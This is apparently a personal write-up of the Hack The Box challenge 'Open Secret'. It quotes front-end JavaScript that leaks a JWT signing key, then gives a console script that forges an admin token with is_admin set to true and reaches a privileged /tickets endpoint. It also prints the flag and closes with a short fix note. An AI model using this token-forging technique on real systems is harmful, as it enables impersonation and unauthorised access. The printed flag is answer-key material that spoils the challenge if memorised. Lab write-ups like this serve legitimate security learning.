🚩 HTB - Open Secret

Executive Summary

  • OS: Linux
  • Key Technique: A vulnerable JWT generating logic is leaked in the front-end, allow unauthenticated user to forge an admin JWT and impersonate as one and access privileged /tickets endpoint.
  • Status: In Progress

Reconnaissance

Index page’s Javascript code:

// JWT Secret Key
const SECRET_KEY = "HTB{0p3n_s3cr3ts_ar3_n0t_s3cr3ts}";
 
// Helper function to convert string to Base64URL
function base64url(str) {
return btoa(str)
	.replace(/\+/g, "-")
	.replace(/\//g, "_")
	.replace(/=/g, "");
}
 
// Generate a JWT session token for the user
async function generateJWT() {
// Check if user already has a token
const existingToken = document.cookie
	.split("; ")
	.find((row) => row.startsWith("session_token="));
 
if (existingToken) {
	console.log("Session token already exists");
	return;
}
 
// Create a random guest username
const username = "guest_" + Math.floor(Math.random() * 10000);
 
// JWT Header
const header = { alg: "HS256", typ: "JWT" };
 
// JWT Payload
const payload = { username: username };
 
// Encode header and payload
const encodedHeader = base64url(JSON.stringify(header));
const encodedPayload = base64url(JSON.stringify(payload));
const data = encodedHeader + "." + encodedPayload;
 
// Sign with SECRET_KEY using HMAC-SHA256
const key = await crypto.subtle.importKey(
	"raw",
	new TextEncoder().encode(SECRET_KEY),
	{ name: "HMAC", hash: "SHA-256" },
	false,
	["sign"]
);
 
const signature = await crypto.subtle.sign(
	"HMAC",
	key,
	new TextEncoder().encode(data)
);
 
// Encode signature
const encodedSignature = base64url(
	String.fromCharCode(...new Uint8Array(signature))
);
 
// Complete JWT token
const token = data + "." + encodedSignature;
 
// Store token in cookie
document.cookie = `session_token=${token}; path=/; max-age=86400`;
 
console.log("Generated session for:", username);
}
 
// Generate JWT token on page load
generateJWT();
 
// Handle ticket submission
document
.getElementById("submit-btn")
.addEventListener("click", async (event) => {
	event.preventDefault();
 
	const name = document.getElementById("ticket-name").value;
	const description =
		document.getElementById("ticket-desc").value;
 
	const response = await fetch("/submit-ticket", {
		method: "POST",
		headers: {
			"Content-Type": "application/json",
		},
		body: JSON.stringify({ name, description }),
	});
 
	const result = await response.json();
	document.getElementById("message-display").textContent =
		result.message || "Ticket submitted successfully!";
});

Try forging a JWT and send the request to /submit-ticket:

// Helper function to convert string to Base64URL
function base64url(str) {
    return btoa(str)
        .replace(/\+/g, "-")
        .replace(/\//g, "_")
        .replace(/=/g, "");
}
  
const script = document.createElement('script');
script.src = "https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js";
document.head.appendChild(script);
  
// Generate a JWT session token for the user
async function generateJWT() {
    // Create a random guest username
    const username = "admin";
  
    // JWT Header
    const header = { alg: "HS256", typ: "JWT" };
  
    // JWT Payload
    const payload = { username: username};
  
    // Encode header and payload
    const encodedHeader = base64url(JSON.stringify(header));
    const encodedPayload = base64url(JSON.stringify(payload));
    const data = encodedHeader + "." + encodedPayload;
  
    return new Promise((resolve, reject) => {
        // Only load the script if it hasn't been loaded yet
        if (typeof CryptoJS === 'undefined') {
            const script = document.createElement('script');
            script.src = "https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js";
            document.head.appendChild(script);
  
            script.onload = () => {
                console.log("✅ CryptoJS loaded successfully!");
                const finalToken = signData(data, SECRET_KEY);
                resolve(finalToken);
            };
            script.onerror = () => reject("Failed to load CryptoJS");
        } else {
            const finalToken = signData(data, SECRET_KEY);
            resolve(finalToken);
        }
    });
  
    function signData(dataToSign, secret) {
        const hash = CryptoJS.HmacSHA256(dataToSign, secret);
        const signature = CryptoJS.enc.Base64.stringify(hash)
            .replace(/=+$/, '')
            .replace(/\+/g, '-')
            .replace(/\//g, '_');
        return dataToSign + "." + signature;
    }
}
  
(async () => {
    try {
        const token = await generateJWT();
        console.log("Full JWT Generated:", token);
        // Set the cookie!
        document.cookie = `session_token=${token}; path=/; max-age=86400`;
        fetch('/submit-ticket', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            credentials: 'same-origin',
            body: JSON.stringify({
                name: 'admin',
                description: 'hello'
            })
        })
        .then(response => response.json())
        .then(data => console.log('Success:', data))
        .catch(error => console.error('Error:', error));
    } catch (error) {
        console.error("Something went wrong:", error);
    }
})();

center

Upon trying to figure out what to do next, I decide to run the recon with Gobuster to check for hidden endpoints

center

There is a /tickets endpoint that I’ve yet to discover.

center

I need to provide a token to get in so I used the same forged token to get in:

center

Access denied, so I added a new field to the JWT payload called is_admin and set its value to true. Why? Well, experience:

// previous script
 
    const payload = { username: username, is_admin: true};
 
// same as before
 
	fetch('/tickets', {
            method: 'GET',
            headers: {
                'Content-Type': 'application/json'
            },
            credentials: 'same-origin',
        })
        .then(response => response.json())
        .then(data => console.log('Success:', data))
        .catch(error => console.error('Error:', error));
        
 // same as before

Running the script using the console, I got the list of previous attempts of all user sending tickets:

center

There is one thing that is interesting though:

center

There is a database server running in the background, I need to find a way to access it. It might be hiding inside the /submit-ticket endpoint, where submitting a ticket will update the backend database. I tried using SQLmap to see if this vulnerability exist

The output did not very well. Even if it is a SQL injection thing, chaining it with the backup key does not really make any sense.

I take a look at the challenge a again, it is a very easy one, so maybe I’m overthinking things. Let’s try submitting the secret backup key and check it out:

it works. Geez…

Loot & Flags

Flag: HTB{0p3n_s3cr3ts_ar3_n0t_s3cr3ts}

Fix:

  • Leaked JWT Generating Logic: the JWT generating logic (including the secret key) is leaked in the front-end, which allow the malicious user to craft a valid JWT of their own with elevated privileged.